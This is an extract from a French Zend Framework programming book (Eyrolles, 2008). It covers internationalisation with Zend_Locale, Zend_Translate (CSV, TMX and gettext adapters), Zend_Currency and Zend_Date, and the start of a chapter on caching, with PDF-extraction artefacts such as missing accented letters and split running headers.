$this->_helper->aclCheck((int)$params['r'], 'editer');
// ...
}
Groupe Eyrolles, 2008
chapitre 9
Groupe Eyrolles, 2008
Internationalisation
lheure de la mondialisation, linternationalisation simpose
comme un enjeu essentiel. Elle implique la gestion de
nombreux dtails susceptibles de devenir de vrais casse-tte :
jeux de caractres, changement de langue, gestion des
monnaies, synchronisation des horloges, etc. Prvenir plutt
que gurir, voil pourquoi il est essentiel de penser en amont
votre internationalisation.
SOMMAIRE
BTravailler en plusieurs langues
BGrer les monnaies et les dates
BDtecter la langue courante
COMPOSANTS
BZend_Locale
BZend_Translate
BZend_Currency
BZend_Date
MOTS-CLS
Bcurrency
Bmonnaie
Btraduction
Bgettext
Blangue
Blocale
Bfuseau horaire
Bformat
Bencodage
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
168
travers quatre composants, ce chapitre aborde les mthodes proposes
par Zend Framework pour grer les fonctionnalits dinternationalisa-
tion. Nous aborderons Zend_Translate pour la gestion de plusieurs lan-
gues, Zend_Currency pour la gestion des monnaies, Zend_Date pour la
gestion des dates et des heures et, enfin, Zend_Locale pour la gestion et
la dtection de lenvironnement.
Avant de commencer...
Nous allons aborder dans ce chapitre tout ce qui concerne linternationa-
lisation (ou paramtres rgionaux), cest--dire la capacit pour une
application dtre compatible avec les nombreux formats de donnes et
langues du monde.
Connatre les diffrents moyens dont on dispose pour mettre en uvre
ces fonctionnalits permet dinternationaliser une application avec plus
de souplesse. Voici les notions essentielles retenir :
lenvironnement, autrement dit, la locale contient les paramtres
rgionaux de lapplication, avec en particulier les pays et rgions
grs. Les dates, les monnaies, les pluriels des mots et bien d'autres
lments sont concerns par ces informations ;
la langue est le critre dinternationalisation le plus rpandu. Elle est
aussi le paramtre obligatoire de la locale. Dvelopper un site multi-
lingue est le sujet principal de ce chapitre ;
les dates sont un sujet vaste qui ncessite de nombreuses oprations :
conversions, changement de fuseau, heure dt/heure dhiver, chan-
gement de calendrier, etc. ;
la monnaie concernera toute application manipulant de largent
linternational. Il est important ici de pouvoir grer les monnaies en
respectant leurs caractristiques et, ventuellement, de passer dune
monnaie lautre.
Les composants Zend et leurs quivalents PHP
Souvent, les composants Zend apportent un complment une exten-
sion PHP (crite en langage C) existante, dans la mesure o celle-ci est
propose dans la distribution officielle de PHP. Cela dit, il est intres-
sant de savoir quelles extensions sous-jacentes sont utilises par les com-
posants Zend Framework :
Zend_Translate propose plusieurs mthodes de gestion des langues,
dont une sous forme dextension en PHP : gettext. Nous revien-
drons dessus dans la section Zend_Translate ;
T Locale
La locale est une variable spciale qui donne des
renseignements sur la langue courante et ven-
tuellement la rgion et/ou lencodage des carac-
tres. Le systme dexploitation de votre
ordinateur, le serveur HTTP et votre application
peuvent avoir des locales lies ou indpendantes.
Souvent, la valeur dune locale est du type
<langue>[_<region>[.<charset>]].
Par exemple, en_US correspond la langue
anglaise des tats-Unis et en_UK celle du
Royaume Uni. Autre exemple : fr_FR.UTF-8
correspond la langue franaise parle en France
et au jeu de caractres UTF-8. Faire correspondre
vos paramtres rgionaux la locale est trs
important dans le cadre dun dveloppement inter-
national.
9


I
n
t
e
r
n
a
t
i
o
n
a
l
i
s
a
t
i
o
n
Groupe Eyrolles, 2008
169
Zend_Date utilise les extensions de gestion de dates natives de PHP ;
Zend_Currency utilise lui aussi les fonctionnalits de gestion de la
locale incluses dans PHP ;
Zend_Locale propose la localisation, comme le fait la fonction PHP
setlocale(), si ce nest que lexcution de celle-ci nest pas entire-
ment scurise dans un contexte de traitement multithread, alors que
Zend_Locale lest. Zend_Locale est utilis par tous les composants qui
permettent linternationalisation (cest--dire tous les composants
cits ci-dessus).
Attention aux jeux de caractres
La gestion des jeux de caractres peut devenir un vrai casse-tte : com-
patibilit avec les extensions existantes, paramtrage des jeux de la base
de donnes, problmes lis aux conversions qui ne sont pas toujours
bijectives.
Il est trs important dhomogniser les jeux de caractres utiliss dans
vos dveloppements, lidal tant de nen utiliser quun seul, qui soit
potentiellement compatible avec tous les pays. De nos jours, cest le
choix du jeu de caractres UTF-8 qui simpose.
Zend_Locale : socle de base de
linternationalisation
Tout composant dinternationalisation de Zend Framework utilise
Zend_Locale, que vous layez configur ou non. Lutilisation de
Zend_Locale est simple.
Une locale se dfinit par un code comportant plusieurs parties :
la langue (obligatoire) ;
ATTENTION UTF-8
Utiliser UTF-8 sur une application impose sou-
vent de lutiliser partout : tous les fichiers
sources doivent tre encods en UTF-8, les
informations en base de donnes doivent tre
en UTF-8, ainsi que le lien entre PHP et le SGBD.
Aussi la rponse HTTP doit-elle signifier au
client une lecture UTF-8. De manire gnrale,
tout texte affich doit tre encod en UTF-8,
quelle que soit sa provenance.
Figure 91
Diagramme de classes de Zend_Locale
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
170
la rgion (ou pays facultatif ) ;
lencodage.
Par exemple, la France utilisera fr_FR, mais la Belgique, pays dans lequel
le franais est largement parl, sera identifie par fr_BE. Tout identifiant
de locale invalide sera converti dans la locale par dfaut.
La locale par dfaut est dfinie par ordre de prfrence :
par les en-ttes HTTP du navigateur client ;
par la locale mentionne par le serveur HTTP.
La locale va ensuite tre utilise par tous les composants Zend Fra-
mework concerns par linternationalisation. Afin de pouvoir la partager,
il est judicieux de la stocker dans le registre Zend_Registry, sous une cl
particulire laquelle Zend Framework va pouvoir ragir.
Dfinition de la locale dans le bootstrap : index.php
Zend_Translate : grer plusieurs langues
Avec Zend_Translate, il sera possible dintgrer votre application plu-
sieurs langues et de grer le changement de manire explicite (avec un
bouton ou toute autre action utilisateur) ou implicite (via la dtection de
la langue par le navigateur).
// locale par dfaut : navigateur utilis, sinon machine hte
$locale = new Zend_Locale();
// partage de la locale actuelle pour tous les composants
// lutilisant
Zend_Registry::set('Zend_Locale', $locale);
REMARQUE Locale unique
Dans la plupart des cas, une seule instance de
Zend_Locale sera ncessaire, car lapplication
nutilisera quune et une seule locale. De plus, le
constructeur de Zend_Locale laiss vide
permet dutiliser les paramtres du navigateur du
client, ce qui est encore mieux dans une trs
grande majorit des cas. Un utilisateur verra ainsi
un site affich dans sa langue immdiatement, ds
sa connexion.
Figure 92
Diagramme de classes de Zend_Translate
9


I
n
t
e
r
n
a
t
i
o
n
a
l
i
s
a
t
i
o
n
Groupe Eyrolles, 2008
171
Pourquoi utiliser Zend_Translate ?
Zend_Translate apporte plusieurs avantages par rapport aux solutions
classiques de gestion des langues :
il fournit une interface commune quel que soit ladaptateur utilis ;
il gre plusieurs types de formats de stockage (un par adaptateur),
dont gettext, TMX, PHP, CSV... ;
Zend_Translate est entirement stable et scuris en environnement
multithread, contraitement lextension gettext ;
la langue de lutilisateur et les sources de donnes peuvent tre auto-
matiquement dtectes.
Les adaptateurs
Plusieurs adaptateurs peuvent tre utiliss avec Zend_Translate :
les tableaux PHP (*.php) : utilisation simple pour les petites
applications ;
CSV (*.csv) : fichiers texte que lon peut diter dans un tableur. Ce
systme est simple et rapide, attention cependant aux problmes Uni-
code ventuels ;
gettext (*.mo/*.po) : fichiers binaires, norme utilise sous Unix ; ils
sont trs rapides, scuriss et utiliss le plus souvent avec lutilitaire
PoEdit ;
TBX (*.tbx) : fichiers dchange TermBase, un standard industriel
au format XML ;
TMX (*.tmx) Translation Memory eXchange : un format XML facile
lire ;
QT (*.qt) : fichier Qt Linguist, format XML ditable ;
XLIFF (*.xliff) XML Localization Interchange File Format : un
format XML plus facile lire encore que TMX ;
XMLTM (*.xml) XML-based Text Memory : un format ouvert qui
exploite la syntaxe des espaces de noms XML.
En plus de ceux prsents ci-dessus, il est encore possible de crer son propre
adaptateur ou dutiliser une table de traduction dans la base de donnes.
Quel adaptateur utiliser ? Cela va dpendre de vos besoins. La figure 9-3
propose une carte simplifie des caractristiques lies ces diffrentes
solutions.
URL Formats de stockage
La liste et la description des formats de stockage
standards pour linternationalisation est publie
par lorganisme LISA (Localization Industry
Standards Association). Il peut tre utile de
consulter ce site Internet pour faire un choix
judicieux :
Bhttp://www.lisa.org
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
172
Les adaptateurs les plus courants sont gettext pour son efficacit, CSV
pour sa simplicit et TMX, qui est un format XML facile diter. Les
autres adaptateurs devraient tre utiliss soit si la technologie est dj en
place, soit dans le cadre dapplications spcifiques.
Exemple simple dutilisation
Voici un exemple simple de traduction avec le format CSV, en utilisant
Zend_Translate. Commenons dabord par crer nos fichiers de langue :
Fichier french.csv
Le franais tant notre langue par dfaut, nous faisons trs peu de dcla-
rations (traduction de franais franais...). Le point-virgule est un
sparateur : il suit la chane originale et prcde la chane traduite. Si une
chane nest pas mentionne, elle nest pas traduite. Voici le mme fichier
pour les traductions en anglais :
Fichier english.csv
Figure 93
Carte des adaptateurs Zend_Translate
Bonjour;Salut
Bonjour;Hello
Exemple de traduction;Translation example
PRATIQUE diter du gettext avec PoEdit
Gettext est un format compil largement utilis
par les applications Unix/Linux. Il existe un utili-
taire trs pratique pour diter ces fichiers : PoEdit.
Celui-ci peut tre tlcharg gratuitement :
Bhttp://sourceforge.net/projects/poedit/
9


I
n
t
e
r
n
a
t
i
o
n
a
l
i
s
a
t
i
o
n
Groupe Eyrolles, 2008
173
Tous les fichiers de traduction comportent des couples comprenant une
chane de caractres dorigine (telle qucrite dans le code) et une chane
de caractres correspondant la traduction, ici spares par un ; .
Passons maintenant au code PHP, qui tient compte de laffichage de la
langue.
Fichier examples/zend_translate.php
Ce code minimaliste traduit le texte affich lcran dans la langue
choisie. Nous commenons par dclarer un objet de traduction
$translate, en prcisant le format utilis (csv), le fichier de traduction
principal (french.csv) et sa langue (fr). Cet objet sera utilis pour para-
mtrer la langue courante et pour saisir du texte.
La mthode addTranslation() permet dajouter un fichier de traduc-
tion. Il prend en paramtres le fichier et la langue quil reprsente.
Il est possible dutiliser une mthode setLocale() pour prciser quelle
est la langue courante. Cette fonctionnalit doit tre employe lorsque
lutilisateur souhaite slectionner une langue de manire explicite (lien
apparent sur le site).
Enfin, les mthodes spciales _() ou translate() sont utilises pour
dclarer un texte sujet traduction. La mthode _() est volontairement
de courte taille car elle est souvent utilise.
La premire ligne (texte Bonjour) comporte une traduction dans les deux
fichiers (french.csv, english.csv). La deuxime ligne est traduite en
anglais uniquement et la troisime ligne ne fait rfrence aucun fichier.
Lorsquun texte na pas de rfrence, il nest tout simplement pas traduit.
<?php
// Dclaration de lobjet translate
$translate = new Zend_Translate('csv', './french.csv', 'fr');
// Ajout dun fichier de langue
$translate->addTranslation('./english.csv', 'en');
// Enregistrement explicite de la langue courante
$translate->setLocale('en');
// Utilisation de Zend_Translate dans le code
echo '<h1>' . $translate->_('Bonjour') . '</h1>';
echo '<p>' . $translate->_('Exemple de traduction') . '</p>';
echo '<p>' . $translate->_('Texte pas traduit') . '</p>';
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
174
Exemple de changement dadaptateur
Lun des avantages de Zend_Translate est que vous pouvez changer
dadaptateur avec un minimum doprations. Nous allons ici remplacer
la traduction CSV par une traduction TMX.
Avec TMX, il est possible dinclure toutes les traductions dans un seul
fichier. Voici quoi ressemble le fichier de traduction avec TMX :
Fichier de traduction translations.tmx
TMX est un format XML, il doit donc respecter une DTD prcise,
comme le montre lexemple prcdent. Chaque lment de traduction
est prcis dans une balise XML body/tu. Lattribut tuid correspond au
texte mentionn dans le code et les traductions sont inscrites dans des
balises tuv dont la langue est prcise avec lattribut xml:lang.
Reprenons lexemple prcdent et remplaons la traduction CSV par du
TMX.
Fichier zend_translate_tmx.php
<?xml version="1.0" ?>
<!DOCTYPE tmx SYSTEM "tmx14.dtd">
<tmx version="1.4">
<header creationtoolversion="1.0.0"
datatype="winres"
segtype="sentence"
adminlang="fr-fr"
srclang="fr-fr"
o-tmf="abc"
creationtool="XYZTool" />
<body>
<tu tuid='Bonjour'>
<tuv xml:lang="fr"><seg>Bienvenue</seg></tuv>
<tuv xml:lang="es"><seg>Buenos dias</seg></tuv>
<tuv xml:lang="en"><seg>Hello</seg></tuv>
</tu>
<tu tuid='Exemple de traduction'>
<tuv xml:lang="en"><seg>Traduction example</seg></tuv>
</tu>
</body>
</tmx>
<?php
// Dclaration de lobjet translate
$translate = new Zend_Translate('tmx', './translations.tmx',
'fr');
// Enregistrement explicite de la langue courante
$translate->setLocale('fr');
T DTD
La DTD (Document Type Definition) est un
fichier qui dcrit prcisment les balises et les
attributs utiliser dans un fichier XML, ainsi que
lordre dans lequel il est autoris les assembler.
Dans le cas de TMX, la DTD oblige avoir une
balise racine tmx, une balise header unique qui
suit tmx, une balise body qui comporte telle et
telle autre balise, etc.
Quelques informations sur les DTD :
Bhttp://en.wikipedia.org/wiki/
Document_Type_Definition
9


I
n
t
e
r
n
a
t
i
o
n
a
l
i
s
a
t
i
o
n
Groupe Eyrolles, 2008
175
Seule la dclaration de lobjet $translate change, en prcisant le nom du
protocole et du fichier de traduction. Nous navons plus besoin dutiliser
addTranslation() car toutes les langues sont gres dans un seul fichier.
Pour lexemple, nous avons ajout une langue es correspondant la ver-
sion espagnole du texte traduire.
Internationalisation avance
Nous allons intgrer ici Zend_Translate notre projet Zend Framework,
en utilisant ladaptateur gettext, qui est le plus rapide et le plus fiable du
moment. Il est important dans un premier temps de respecter certaines
rgles darchitecture.
Rgles darchitecture
Cette section concerne la mise en place de la structure des sources de
traduction, ce qui revient dfinir lemplacement o mettre les fichiers
dont nous aurons besoin. Pour cela, il est avant tout important de se
poser deux questions :
les fichiers de traduction concernent-ils une ou plusieurs
applications ?
quel adaptateur allons-nous utiliser ?
Si vos traductions sont multi-applications, nous allons crer un dossier
languages la racine du framework (au mme niveau que application,
html, library, etc.). Sil sagit de fichiers spcifiques une application,
nous devons crer un dossier application/languages. Lorganisation des
sources dans le dossier languages reste assez souple, vous de choisir la
solution la plus judicieuse.
Dans notre cas, nous allons utiliser ladaptateur gettext. Celui-ci pro-
pose par dfaut une structure de rpertoires complexe, que nous allons
simplifier.
Structure des rpertoires pour une utilisation de gettext
Il est important de respecter le nom des fichiers, notamment la structure
lang_<abrev_lang>.mo, de manire ce que limplmentation gettext
de Zend Framework dtecte automatiquement les fichiers de langue.
/application
/languages
lang_fr.mo
lang_en.mo
lang_sp.mo
/library
/html
CONSEIL Choisir une structure
La section Utiliser les adaptateurs de traduc-
tion de la documentation officielle du Zend Fra-
mework prsente diverses structures de
rpertoires en prcisant leurs avantages et incon-
vnients. Vous devriez y jeter un il avant deffec-
tuer un choix dfinitif.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
176
Mettre en place ladaptateur gettext
Ladaptateur gettext se met en place de la mme manire que tmx ou
csv, comme nous venons de le voir prcdemment. Nous allons y ajouter
une petite variante : la dtection automatique des fichiers de langue.
Voici comment nous devons dclarer ladaptateur gettext dans le
bootstrap :
Dclaration de la gestion des langues dans le bootstrap
La dclaration de la langue dans le bootstrap commence par la cration
dun objet Zend_Translate. Celui-ci est ensuite configur avec une locale
par dfaut via lappel de setLocale(), valeur extraite si possible de la ses-
sion. Ensuite, lappel de setCache() injecte un objet de cache dans
lobjet Zend_Translate, qui se dbrouillera pour lutiliser bon escient
afin doptimiser les performances. Les dernires actions consistent
enregistrer lobjet $translate dans le registre et comme objet de langue
par dfaut de divers composants.
Mettre en place les chanes traduire
Une fois que la dclaration est faite dans le bootstrap, il suffit de faire
appel la mthode translate() de lobjet de vue chaque fois quune
chane de caractres est affiche. Cette mthode chargera une aide de
vue du mme nom.
// Dclaration de lobjet Zend_Translate
$translate = new Zend_Translate('gettext',
X $appPath . '/languages',
X null,
X array('scan' => Zend_Translate::LOCALE_FILENAME)
);
// Dtection de la locale
$langLocale = isset($session->lang) ? $session->lang : $locale;
// Passage de la locale en cours Zend_Translate
$translate->setLocale($langLocale);
// Passage de linstance de lobjet cache Zend_Translate
$translate->setCache($cacheInstance);
// Ajout de lobjet dans le registre
Zend_Registry::set('Zend_Translate', $translate);
// Passage de lobjet translate divers composants
Zend_Validate_Abstract::setDefaultTranslator($translate);
Zend_Form::setDefaultTranslator($translate);
RENVOI Aides de vue
Les aides de vue sont abordes au chapitre 7.
9


I
n
t
e
r
n
a
t
i
o
n
a
l
i
s
a
t
i
o
n
Groupe Eyrolles, 2008
177
Chane de caractres dans un contrleur
Chane de caractres dans une vue
Crer les fichiers de traduction gettext (*.mo)
Jusquici, notre traduction ne fonctionne pas et gnre une exception.
Cette exception ne sera pas leve tant que les fichiers de traduction
seront absents.
Il est recommand dditer les fichiers gettext avec loutil PoEdit. Nous
verrons quil sera mme possible de dtecter automatiquement les nou-
velles chanes de caractres traduire en effectuant un parcours du code
PHP de lapplication.
Crer les fichiers *.mo avec PoEdit
Les fichiers *.mo sont des fichiers compils. La version non compile est
un fichier *.po. Lditeur PoEdit permet dditer les fichiers *.po et de
gnrer les fichiers *.mo correspondants.
Pour crer un fichier *.po/*.mo, nous commenons par ouvrir lditeur
PoEdit et diter la configuration. La figure 9-4 donne un exemple de
configuration pour un fichier de langue anglaise.
// Dans un contrleur
$title = $this->view->translate("Bienvenue");
<!-- dans views/scripts/common/footer.phtml -->
<?php echo $this->translate("&copy; 2008 notre socit"); ?>
RAPPEL Tlcharger PoEdit
PoEdit est tlchargeable ladresse ci-dessous :
Bhttp://www.poedit.net
Figure 94
Configuration dun fichier
de langue dans PoEdit
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
178
Une fois longlet Info Projet rempli, ajoutez le chemin vers le dossier
application dans Chemins (champs Chemin de base ET Chemins), puis le
mot-cl translate dans Mots cls. Sans cela, le parseur de code permet-
tant de dtecter automatiquement les chanes traduire ne fonctionne-
rait pas. Enregistrez ensuite le fichier dans application/languages/
lang_en.po. Le fichier *.mo correspondant est automatiquement cr.
Il reste ensuite effectuer lanalyse syntaxique (parsing) du code. Pour
cela, il faut faire une dernire manipulation dans la configuration : dans
Fichier>Prfrences, onglet Analyseur, ajoutez lextension *.phtml aux
fichiers PHP. Cela permettra de traiter aussi les fichiers de vue qui com-
portent potentiellement un grand nombre de chanes de caractres.
Enfin, nous pouvons lancer lanalyse dans Catalogue>Mise jour depuis
les sources. Une fois celle-ci termine, un cran saffiche avec les nou-
velles chanes traduire (figure 9-5).
Modifier la langue
Le changement de langue consiste simplement en une affectation expli-
cite du paramtre lang de la session. Nous allons mettre en place un sys-
tme qui met jour la langue la vole.
IndexController::languageAction()
Figure 95
Recherche automatique des chanes traduire
/**
* Mise jour de la langue par dfaut
*/
public function languageAction()
{
$request = $this->getRequest();
$params = $request->getParams();
9


I
n
t
e
r
n
a
t
i
o
n
a
l
i
s
a
t
i
o
n
Groupe Eyrolles, 2008
179
Laction languageAction() change ici le paramtre langue de la ses-
sion. Cette action peut tre appele par un lien depuis une vue, par
exemple, dans le pied de page. Leffet du changement de langue est ainsi
immdiat.
Vue views/scripts/common/footer.phtml
Un simple clic sur lun des liens English ou French change la langue cou-
rante.
Zend_Currency : gestion des monnaies
Zend_Currency est un petit composant dont nous allons faire une prsen-
tation rapide et pratique. Ce composant nest pas utilis dans lapplica-
tion exemple.
Pourquoi utiliser Zend_Currency ?
Ce composant sert manipuler les monnaies et les paramtres rgio-
naux. Ceux-ci peuvent tre lis la locale courante, donc la langue
courante. Zend_Currency est fluide et permet un paramtrage prcis.
Affichage des monnaies
Avec Zend_Currency, il est possible de formater les nombres selon la
monnaie de la locale courante ou en spcifiant une monnaie et une
rgion. Voici quelques exemples qui effectuent ces affichages :
Affichages formats avec Zend_Currency
if (isset($params['lang']) &&
in_array($params['lang'], array('fr', 'en'))) {
Zend_Registry::get('session')->lang = $params['lang'];
}
$this->_helper->redirectorToOrigin();
}
<a href="<?php echo $this->link('index', 'language', null,
array('lang'=>'en'));?>">english</a> |
<a href="<?php echo $this->link('index', 'language', null,
array('lang'=>'fr'));?>">franais</a>
// Chargement dun objet currency
$currency = new Zend_Currency();
RENVOI Aides daction
Les appels $this->_helper-
>redirectorToOrigin() dans le contr-
leur et $this->link() dans la vue sont des
aides daction et des aides de vue. Ils permet-
tent de factoriser les traitements courants et de
simplifier leur utilisation. Pour plus dinformation
concernant leur implmentation, rendez-vous aux
chapitres 6 et 7.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
180
Informations sur les monnaies
Zend_Currency permet galement de rcuprer des informations sur les
monnaies. Lexemple suivant illustre les possibilits actuelles.
Rcupration dinformations sur les monnaies
Zend_Date : gestion de la date et de
lheure
Zend_Date est un composant complet qui sert manipuler des dates. Il
complte et tend les fonctionnalits de dates proposes nativement par
PHP.
Pourquoi utiliser Zend_Date ?
Voici des exemples simples qui illustrent les possibilits de Zend_Date.
Ceux-ci montrent non seulement les fonctionnalits nouvelles proposes
// Affichage dun chiffre format selon la monnaie courante
// Affiche : 1 000,00
echo $currency->toCurrency(1000);
// Affichage dun chiffre format selon la monnaie en_US
// Affiche : 1,000.00
echo $currency->toCurrency(1000, array('format' => 'en_US'));
// Affichage dun chiffre reprsentant des dollars
// Affiche : $ 1,000.00
$currency = new Zend_Currency('en_US', 'USD');
echo $currency->toCurrency(1000);
// Modification du formatage (retrait des dcimales)
$currency->setFormat(array('precision' => 0));
echo $currency->toCurrency(1000);
// Informations sur la monnaie courante
echo 'Symbole : ' . $currency->getSymbol() . "\n";
echo 'Nom court : ' . $currency->getShortName() . "\n";
echo 'Nom long : ' . $currency->getName() . "\n";
// Liste des rgions pour lesquelles la monnaie
// est utilise.
var_dump($currency->getRegionList());
// Liste des monnaies de la locale (rgion) courante
var_dump($currency->getCurrencyList());
PERFORMANCE Zend_Currency
lheure o nous crivons ces lignes,
Zend_Currency savre un composant gour-
mand limpact non ngligeable sur les perfor-
mances. Il est recommand de lutiliser
paralllement Zend_Cache.
Figure 96
Diagramme de classes de Zend_Date
9


I
n
t
e
r
n
a
t
i
o
n
a
l
i
s
a
t
i
o
n
Groupe Eyrolles, 2008
181
par Zend_Date, mais aussi une autre manire dutiliser les fonctionnalits
existantes de PHP. Zend_Date permet de calculer des dates virtuellement
infinies, et nest pas limit par le timestamp Unix (01/01/1970).
Pour commencer, il est primordial de spcifier le fuseau horaire par dfaut.
Celui-ci peut tre inscrit dans le fichier de configuration php.ini ou expli-
cit dans le code avec la fonction PHP date_default_timezone_set().
Slection du fuseau horaire par dfaut
Voici avant tout quelques oprations de base : affichage de dates, affecta-
tions et comparaisons simples.
Oprations basiques
Voici ensuite quelques oprations de formatage de dates avec Zend_Date.
Formater une date
date_default_timezone_set('Europe/Paris');
// Cration de lobjet Zend_Date
$date = new Zend_Date();
// Affichage par dfaut de la date courante
echo $date . "\n";
// Affectation et affichage dune date
$date->set('13:00:00', Zend_Date::TIMES);
echo $date->get(Zend_Date::W3C) . "\n";
// Avant ou aprs 30 minutes dans lheure courante ?
echo $date->compare(30, Zend_Date::MINUTE) == -1
? "Avant 30 minutes\n"
: "Aprs 30 minutes\n";
// Est-il 22 heures ?
if ($date->equals(22, Zend_Date::HOUR)) {
print "Il est 22 heures.\n";
} else {
print "Il nest pas 22 heures.\n";
}
// Affichage de la date courante avec un formatage
// correspondant une locale dtermine
$date = new Zend_Date(null, null, 'en_US');
echo $date . "\n";
// Mme chose avec une date explicite
$date = new Zend_Date('Feb 31, 2007',
Zend_Date::DATES,
'fr_FR');
echo $date . "\n";
T Timestamp
Le timestamp est un nombre exprim en
secondes (depuis le 1/1/1970) qui reprsente une
date.
CULTURE Fuseaux horaires
Toute date est obligatoirement rattache un
fuseau horaire (timezone, en anglais). la cra-
tion dune date Zend_Date, le fuseau horaire
par dfaut de PHP lui sera affect. Si ce fuseau
change ensuite, cela ninfluencera pas
Zend_Date, qui propose une isolation. Tous les
calculs sur les dates prendront en compte le fuseau
horaire : ainsi des heures vont sajouter ou se sup-
primer, lorsque la date changera de fuseau. Le
dcalage entre heure dt et heure dhiver (DST
Daylight Saving Time) est aussi pris en compte
de manire automatique.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
182
Dans ces exemples, par dfaut, cest la locale courante qui est utilise si
aucune locale nest mentionne (troisime argument du constructeur de
Zend_Date).
Rcupration dinformations
Ces mthodes permettent de rcuprer des informations sur la date de
lobjet Zend_Date $date.
En rsum
Quatre composants sont directement concerns par linternationalisa-
tion. Ceux-ci permettent le dveloppement dapplications multilingues,
compatibles avec les paramtres rgionaux du visiteur.
Zend_Locale dtermine et manipule la locale par dfaut, cest--dire
la langue, la zone gographique et dans une moindre mesure le jeu de
caractres.
Zend_Translate est spcialis dans la traduction automatique. Il peut
sadapter en technologie de fond de nombreux existants tels que
gettext, TMX, etc.
Zend_Currency gre la monnaie conformment la locale courante.
Zend_Date permet la manipulation avance des dates et sadapte lui
aussi aux paramtres rgionaux en place.
// Mthodes de comparaison (hors equals)
var_dump($date->isEarlier($date2));
var_dump($date->isLater($date2));
var_dump($date->isToday());
var_dump($date->isTomorrow());
var_dump($date->isYesterday());
var_dump($date->isLeapYear());
var_dump($date->isDate($date2));
// Mthodes doutput
var_dump($date->toString());
var_dump($date->toArray());
var_dump($date->toValue());
PRCISION Localisation et dates
Zend_Date formatera la date en utilisant la
locale par dfaut dfinie dans le registre, sauf si on
passe explicitement un objet Zend_Locale en
troisime paramtre des mthodes de formatage.
Groupe Eyrolles, 2008
chapitre 10
Groupe Eyrolles, 2008
Performances
Les performances sont aussi bnfiques pour le confort
de navigation de vos visiteurs que pour la maintenance
dun environnement fort trafic. La mise en place
dune gestion de cache est un bon moyen dconomiser
des ressources machines, mme si cela ne doit pas se substituer
la qualit du dveloppement.
SOMMAIRE
BUtiliser la mmoire RAM pour
amliorer les performances
BMettre en place une stratgie
de gestion de cache
COMPOSANTS
BZend_Cache
BZend_Memory
MOTS-CLS
Bcache
Bmmoire
BAPC
Block
Bpersistance
Bressources
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
186
Zend_Cache et Zend_Memory sont deux composants qui permettent la mise
en cache des donnes. Ce chapitre aborde quelques rappels thoriques
sur la dfinition et le rle du cache, suivis de lutilisation pratique de
Zend_Cache et Zend_Memory.
Ce chapitre traite doutils permettant doptimiser les performances de
lapplication lexcution. Ces composants nont aucun apport
fonctionnel ; ils sajoutent un existant qui fonctionne dj, dans le but
dacclrer la vitesse dexcution. Parmi les mthodes mises en uvre,
nous traiterons largement la partie mise en cache, et dans une moindre
mesure le composant Zend_Memory.Enfin seront abords des conseils de
maintenance pour amliorer les performances globales du framework.
Quest-ce que la gestion de cache ?
Pourquoi utiliser un cache ?
On peut dfinir le cache comme un mcanisme dont le but est dcono-
miser des ressources en supprimant les traitements redondants. Typique-
ment, le cache permet dviter de gnrer une page dynamique plusieurs
fois, dans la mesure ou celle-ci ne change pas dun appel lautre.
Mais on peut aller plus loin avec le cache : tout dabord, en mettant en
cache non pas une page, mais une partie de page (cache partiel). Enfin,
on retrouve le cache sur plusieurs niveaux : le plus bas niveau concerne la
mise en cache du code compil de PHP et le plus haut, la mise en cache
des pages. Entre les deux, il est possible de mettre en cache des retours
de fonctions, des blocs dinformation ou des objets.
Mises en garde concernant la gestion du cache
Le cache nest en aucun cas un moyen dallger le code dune applica-
tion. Limplmentation du cache apporte au contraire de nombreuses
instructions supplmentaires. Les mcanismes de mise en cache peuvent
devenir complexes, tant au niveau du fonctionnement que du param-
trage. Un cache mal matris peut gnrer des effets de bord, tels que
figer des informations qui devraient voluer, augmenter le nombre
daccs au disque ou aux bases de donnes, gnrant ainsi leffet inverse
de celui recherch. Aussi, les tests fonctionnels de lapplication sont plus
difficiles raliser avec un ou plusieurs caches que sans. Il est donc
important, avant de vouloir faire de la mise en cache, de bien prparer
votre politique de gestion du cache et, surtout, de prvoir un moyen de
ladministrer (lire son contenu) et de le dsactiver, tout moment.
1
0


P
e
r
f
o
r
m
a
n
c
e
s
Groupe Eyrolles, 2008
187
La figure 10-1 aborde les couches de cache rencontres couramment
dans une application : le cache de page permet de mettre en cache le code
HTML dune page entire, tandis que le cache partiel permet de mettre
un bloc ou une donne provenant par exemple dun retour de fonction.
Enfin, il existe aussi des caches dits bas niveau qui rendent persistante la
version compile du code PHP. Ici, nous nous intresserons surtout au
cache partiel qui est le plus utilis avec le Zend Framework.
Rappelons que le but du cache nest en aucun cas de se substituer un
algorithme lent parce que mal conu. La durabilit de votre existant
dpend directement de la qualit de vos algorithmes, avant toute chose.
Zend_Cache : gestion du cache
Zend_Cache est le composant de mise en cache de Zend Framework. Il
est organis de manire permettre lutilisation de plusieurs backends,
cest--dire plusieurs possibilits de stockage des informations rendre
persistantes. Aussi, plusieurs frontaux (frontends) sont par ailleurs dispo-
nibles afin dadapter le composant son utilisation.
Figure 101
Quelques couches de cache courantes
RAPPEL Cache dopcode
Les principes de fonctionnement du cache dop-
code sont expliqus en annexe F.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
188
Choisir son frontal et son support de cache
Le support de cache (backend) est directement responsable des perfor-
